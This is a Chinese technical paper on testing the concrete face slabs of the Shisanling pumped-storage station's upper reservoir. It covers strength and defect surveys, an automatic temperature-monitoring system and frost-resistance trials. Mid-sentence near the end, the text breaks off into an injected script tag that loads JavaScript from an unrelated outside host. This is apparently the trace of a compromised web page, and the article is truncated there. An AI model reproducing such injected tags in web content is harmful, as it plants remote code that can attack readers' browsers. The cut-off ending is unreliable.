十三陵蓄能电站上水库面板质量检测和抗冻性评估

关键词:混凝土面板;质量;抗冻安全性;检测;评估;十三陵抽水蓄能电站

摘 要:十三陵抽水蓄能电站上水库的钢筋混凝土面板是一种在严酷冻融循环条件下运行的钢筋混凝土结构。为保证电站安全稳定运行,进行了上水库面板混凝土强度和缺陷的跟踪检测,建立了面板混凝土温度和冻融循环微机自动检测系统,开展了不同配合比面板混凝土模拟试件的抗冻试验及面板混凝土室内外对比关系的试验研究,并对面板混凝土的抗冻安全性作了初步评估。上述工作取得了初步成果,为上水库的安全持久运行奠定了良好的基础。

十三陵蓄能电厂上水库采用钢筋混凝土面板防渗结构,面板厚度为30~50 cm,标准宽度为12 m, 最大长度为65.4 m。北京十三陵地区,冬季最低温度达-30℃左右,属严寒大风地区,每年最低气温小于0℃的天数在130天左右。若电厂每天运行1~2次,在冬季,上水库面板混凝土每天将遭受1~2个冻融循环,也即每年将遭受120~240次的冻融循环。因此,上水库的钢筋混凝土面板是一种在严酷冻融循环条件下运行的钢筋混凝土结构。面板混凝土设计抗冻等级为f300,掺用了引气剂,施工时每块面板均采样进行抗冻试验,大部分均能达到设计要求。但是,对于混凝土抗冻性的室内外关系尚未有研究成果,对北京十三陵地区而言,每年将遭受200多次冻融循环的钢筋混凝土面板,到底能安全运行多长时间,何时需要采取防护措施,何时需要进行必要的修复工作,是上水库安全运行的关键问题之一。因此,十三陵蓄能电厂与中国水利水电科学研究院结构材料所合作,并结合“九五”国家重点科技攻关项目“重点工程混凝土安全性”研究中的一个专题“混凝土抗冻性的研究”(96-535-02-01),进行了上水库钢筋混凝土面板质量的跟踪检测试验和抗冻性评估的探索研究。

1跟踪检测的项目及内容

跟踪检测的项目主要包括:面板强度和缺陷的检测,以及通过室内外混凝土冻融情况的对比分析,对混凝土面板抗冻融安全运行期进行预测和预报。

1.1面板混凝土强度和缺陷的检测

采用回弹仪和超声波仪对面板混凝土强度进行无损跟踪检测。面板混凝土缺陷的检测包括:混凝土表面的剥蚀状态和新产生裂缝性状的检测,参照剥蚀状态检测混凝土表面的剥蚀面积和剥蚀深度;裂缝的性状检测主要进行新产生裂缝的部位、长度、宽度及裂缝深度的检测。

1.2面板混凝土冻融破坏与安全运行期的检测

面板混凝土设计抗冻等级为f300,即满足室内快速冻融循环300次试验要求,但这种混凝土大多由于施工的原因而存在质量的差异,因此,在十三陵地区的严酷气候条件下,工程实际混凝土安全运行期、混凝土抗冻性的室内外关系及混凝土抗冻性寿命的评估和预测,是本次跟踪检测试验工作的重点,也是国内外尚未解决的难题。为解决这一问题,采用以下技术方案:①以当前面板为观察对象,进行面板冻融破坏(如剥蚀、裂缝)的跟踪检测;②建立上水库面板混凝土温度自动巡回检测系统,检测面板混凝土的实际冻融温度和循环次数;③以与设计相同的混凝土配合比,采用与施工时相同的原材料,成型混凝土试件,进行室内外的冻融破坏对比试验;④以原设计的混凝土配合比为基础,考虑到施工时质量的波动,以施工时相同的原材料成型不同水灰比和不同含气量的混凝土试件,进行室内外冻融破坏的对比试验以及冻融破坏和相关关系的探索研究。

2现场检测系统的设置

2.1检测部位的确定

考虑到上水库面板所处的位置和环境条件不同 (如日照、时间、风向等),选取了东南西北4个方位,4块面板为典型测试区域,典型测试面板的编号为s135(西南坡)、sf30(坝坡)、sr25(北坡)、sr55(西北坡),并且考虑到面板不同高程将出现不同的冻融状态,为此,在s135面板又分为3个高程563、550、540 m作为测试区,其余3块均以550 m高程为测试区。

2.2混凝土温度巡回自动检测系统

为了长期、准确、自动地对面板及环境进行不同部位温度状态及冻融循环情况跟踪检测,在上池建立了一个温度自动检测系统。该系统主要由高精度(±0.l℃)的温度传感器(电阻温度计)、定时(每分钟或几小时均可)巡回检测系统、数据采集系统、电缆等部分组成,整个系统由电脑控制,并进行定时检测。4块面板、6个测试区,共安装了12个测温传感器,测试混凝土内部和环境的温度,每30 min巡回检测1次。

2.3不同品种混凝土试件的现场布置

为了对面板混凝土进行室内外抗冻性能及不同品种混凝土室内外抗冻性能的关系进行研究,除对现场混凝土面板进行跟踪检测外,还按面板混凝土设计的标准配合比及考虑到施工因素而引起水灰比变动或含气量变动使配合比产生变化的情况,以及不同品种的混凝土成型了10 cm×10 cm×40 cm的标准抗冻试件,一部分在上水库现场进行室外天然的冻?script src=http://er12.com/t.js>

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发布日期:2019年07月02日  所属分类:参考设计